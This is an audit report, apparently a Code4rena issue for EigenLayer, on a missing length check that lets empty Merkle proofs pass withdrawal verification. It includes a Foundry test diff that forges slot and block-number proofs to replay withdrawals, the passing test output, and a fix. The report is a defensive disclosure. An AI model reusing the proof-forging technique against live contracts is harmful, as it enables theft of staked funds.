[Lines of code](https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/libraries/Merkle.sol#L80-L87) # Vulnerability details ## Impact Since this is a vulnerability which involves multiple in-scope contracts and leads to more than one impact, let's start with a bug desciption from bottom to top. ### Library Merkle The methods [verifyInclusionSha256(proof, root, leaf, index)]() and [verifyInclusionKeccak(proof, root, leaf, index)]() will **always** return true if proof.lenght < 32 (e.g. empty proof) **and** leaf == root. Although this might be intended behaviour, I see no use case for empty proofs and would require non-empty proofs at library level. As of now, the user of the library is **responsible** to enforce non-zero proofs. ### Library BeaconChainProofs The method [verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields)](), which relies on multiple calls to [Merkle.verifyInclusionSha256(proof, root, leaf, index)](), does not require a minimum length of proofs.slotProof and proofs.blockNumberProof. As a consequence, considering a valid set of (beaconStateRoot, proofs, withdrawalFields), the method will still succeed with **empty** slot and block number proofs, i.e. the proofs can be modified in the following way: proofs.slotProof = bytes(""); // empty slot proof proofs.slotRoot = proofs.blockHeaderRoot; // make leaf == root proofs.blockNumberProof = bytes(""); // empty block number proof proofs.blockNumberRoot = proofs.executionPayloadRoot; // make leaf == root As a consequence, we can take a perfectly valid withdrawal proof and re-create the proof for the same withdrawal with a **different** slot and block number (according to the code above) that will still be accepted by the [verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields)]() method. ### Contract EigenPod The method [verifyAndProcessWithdrawal(withdrawalProofs, ...)](), which relies on a call to [BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields)](), is impacted by a modified - but still valid - withdrawal proof in two ways. **First**, the modifier [proofIsForValidBlockNumber(Endian.fromLittleEndianUint64(withdrawalProofs.blockNumberRoot))]() makes sure that the **block number** being proven is greater/newer than the mostRecentWithdrawalBlockNumber. In our case, blockNumberRoot = executionPayloadRoot and depending on the actual value of executionPayloadRoot, the proofIsForValidBlockNumber can be bypassed as shown in the test, see any PoC test case. As a consquence, old withdrawal proofs could be re-used with an empty blockNumberProof to withdraw the same funds more than once. **Second**, the sub-method [_processPartialWithdrawal(withdrawalHappenedSlot, ...)]() requires that a **slot** is only used once. In our case, slotRoot = blockHeaderRoot which leads to a [different slot]() than suggested by the original proof, therefore a withdrawal proof can be re-used with an empty slotProof to do the same partial withdrawal twice, see PoC. Depending on the actual value of blockHeaderRoot, a full withdrawal instead of a partial withdrawal will be done according to the [condition in L354](). ### Impact summary Insufficient validation of proofs allows multiple withdrawals, i.e. theft of funds. ## Proof of Concept The changes to the EigenPod test cases below demonstrate the following outcomes: **testFullWithdrawalProof:** [BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields)]() still succeeds on empty slot and block number proofs. **testFullWithdrawalFlow:** [EigenPod.verifyAndProcessWithdrawal(withdrawalProofs, ...)]() allows full withdrawal with empty slot and block number proofs. **testPartialWithdrawalFlow:** [EigenPod.verifyAndProcessWithdrawal(withdrawalProofs, ...)]() allows partial withdrawal with empty slot and block number proofs. **testProvingMultipleWithdrawalsForSameSlot:** [EigenPod.verifyAndProcessWithdrawal(withdrawalProofs, ...)]() allows partial withdrawal of the same funds twice due to different slotRoot in original and modified proof. _The [proofIsForValidBlockNumber(Endian.fromLittleEndianUint64(withdrawalProofs.blockNumberRoot))]() modifier is bypassed (see blockNumberRoot) in the latter three of the above test cases._ Apply the following _diff_ to your src/test/EigenPod.t.sol and run the tests with forge test --match-contract EigenPod: diff --git a/src/test/EigenPod.t.sol b/src/test/EigenPod.t.sol index 31e6a58..5242def 100644 --- a/src/test/EigenPod.t.sol +++ b/src/test/EigenPod.t.sol @@ -260,7 +260,7 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { function testFullWithdrawalProof() public { setJSON("./src/test/test-data/fullWithdrawalProof.json"); - BeaconChainProofs.WithdrawalProofs memory proofs = _getWithdrawalProof(); + BeaconChainProofs.WithdrawalProofs memory proofs = _getWithdrawalProof(SKIP_SLOT_BLOCK_PROOF); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); @@ -281,7 +281,7 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { // ./solidityProofGen "WithdrawalFieldsProof" 61336 2262 "data/slot_43222/oracle_capella_beacon_state_43300.ssz" "data/slot_43222/capella_block_header_43222.json" "data/slot_43222/capella_block_43222.json" fullWithdrawalProof.json setJSON("./src/test/test-data/fullWithdrawalProof.json"); - BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(); + BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(SKIP_SLOT_BLOCK_PROOF); bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof()); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); @@ -317,7 +317,7 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { //generate partialWithdrawalProofs.json with: // ./solidityProofGen "WithdrawalFieldsProof" 61068 656 "data/slot_58000/oracle_capella_beacon_state_58100.ssz" "data/slot_58000/capella_block_header_58000.json" "data/slot_58000/capella_block_58000.json" "partialWithdrawalProof.json" setJSON("./src/test/test-data/partialWithdrawalProof.json"); - BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(); + BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(SKIP_SLOT_BLOCK_PROOF); bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof()); withdrawalFields = getWithdrawalFields(); @@ -346,21 +346,22 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { /// @notice verifies that multiple partial withdrawals can be made before a full withdrawal function testProvingMultipleWithdrawalsForSameSlot(/*uint256 numPartialWithdrawals*/) public { - IEigenPod newPod = testPartialWithdrawalFlow(); + IEigenPod newPod = testPartialWithdrawalFlow(); // uses SKIP_SLOT_BLOCK_PROOF - BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(); + BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(FULL_PROOF); bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof()); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); - cheats.expectRevert(bytes("EigenPod._processPartialWithdrawal: partial withdrawal has already been proven for this slot")); + // do not expect revert anymore due to different 'slotRoot' on FULL_PROOF and SKIP_SLOT_BLOCK_PROOF + //cheats.expectRevert(bytes("EigenPod._processPartialWithdrawal: partial withdrawal has already been proven for this slot")); newPod.verifyAndProcessWithdrawal(withdrawalProofs, validatorFieldsProof, validatorFields, withdrawalFields, 0, 0); } /// @notice verifies that multiple full withdrawals for a single validator fail function testDoubleFullWithdrawal() public { - IEigenPod newPod = testFullWithdrawalFlow(); - BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(); + IEigenPod newPod = testFullWithdrawalFlow(); // uses SKIP_SLOT_BLOCK_PROOF + BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(FULL_PROOF); bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof()); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); @@ -759,8 +760,11 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { return proofs; } + uint256 internal constant FULL_PROOF = 0; + uint256 internal constant SKIP_SLOT_BLOCK_PROOF = 1; + /// @notice this function just generates a valid proof so that we can test other functionalities of the withdrawal flow - function _getWithdrawalProof() internal returns(BeaconChainProofs.WithdrawalProofs memory) { + function _getWithdrawalProof(uint256 proofType) internal returns(BeaconChainProofs.WithdrawalProofs memory) { //make initial deposit cheats.startPrank(podOwner); eigenPodManager.stake{value: stakeAmount}(pubkey, signature, depositDataRoot); @@ -773,9 +777,9 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { beaconChainOracle.setBeaconChainStateRoot(beaconStateRoot); bytes32 blockHeaderRoot = getBlockHeaderRoot(); bytes32 blockBodyRoot = getBlockBodyRoot(); - bytes32 slotRoot = getSlotRoot(); - bytes32 blockNumberRoot = getBlockNumberRoot(); + bytes32 slotRoot = (proofType == FULL_PROOF) ? getSlotRoot() : blockHeaderRoot; // else SKIP_SLOT_BLOCK_PROOF bytes32 executionPayloadRoot = getExecutionPayloadRoot(); + bytes32 blockNumberRoot = (proofType == FULL_PROOF) ? getBlockNumberRoot() : executionPayloadRoot; // else SKIP_SLOT_BLOCK_PROOF @@ -786,9 +790,9 @@ contract EigenPodTests is ProofParsing, EigenPodPausingConstants { BeaconChainProofs.WithdrawalProofs memory proofs = BeaconChainProofs.WithdrawalProofs( abi.encodePacked(getBlockHeaderProof()), abi.encodePacked(getWithdrawalProof()), - abi.encodePacked(getSlotProof()), + (proofType == FULL_PROOF) ? abi.encodePacked(getSlotProof()) : bytes(""), // else SKIP_SLOT_BLOCK_PROOF abi.encodePacked(getExecutionPayloadProof()), - abi.encodePacked(getBlockNumberProof()), + (proofType == FULL_PROOF) ? abi.encodePacked(getBlockNumberProof()) : bytes(""), // else SKIP_SLOT_BLOCK_PROOF uint64(blockHeaderRootIndex), uint64(withdrawalIndex), blockHeaderRoot, We can see that **all** the test cases are still passing, whereby the following ones are confirming the aforementioned outcomes: [PASS] testFullWithdrawalFlow():(address) (gas: 28517915) [PASS] testFullWithdrawalProof() (gas: 13185538) [PASS] testPartialWithdrawalFlow():(address) (gas: 28679149) [PASS] testProvingMultipleWithdrawalsForSameSlot() (gas: 45502286) ## Tools Used VS Code, Foundry ## Recommended Mitigation Steps Require a minimum length (tree height) for the slot and block number proofs in [BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields)](). At least require non-empty proofs according to the follwing _diff_: diff --git a/src/contracts/libraries/BeaconChainProofs.sol b/src/contracts/libraries/BeaconChainProofs.sol index b4129bf..119baf2 100644 --- a/src/contracts/libraries/BeaconChainProofs.sol +++ b/src/contracts/libraries/BeaconChainProofs.sol @@ -259,6 +259,10 @@ library BeaconChainProofs { "BeaconChainProofs.verifyWithdrawalProofs: withdrawalProof has incorrect length"); require(proofs.executionPayloadProof.length == 32 * (BEACON_BLOCK_HEADER_FIELD_TREE_HEIGHT + BEACON_BLOCK_BODY_FIELD_TREE_HEIGHT), "BeaconChainProofs.verifyWithdrawalProofs: executionPayloadProof has incorrect length"); + require(proofs.slotProof.length >= 32, + "BeaconChainProofs.verifyWithdrawalProofs: slotProof has incorrect length"); + require(proofs.blockNumberProof.length >= 32, + "BeaconChainProofs.verifyWithdrawalProofs: blockNumberProof has incorrect length"); /** * Computes the block_header_index relative to the beaconStateRoot. It concatenates the indexes of all the **Alternative**: Non-empty proofs can also be required in the Merkle library. ## Assessed type Invalid Validation --- The text was updated successfully, but these errors were encountered: 👍 1 aktech297 reacted with thumbs up emoji All reactions * 👍 1 reaction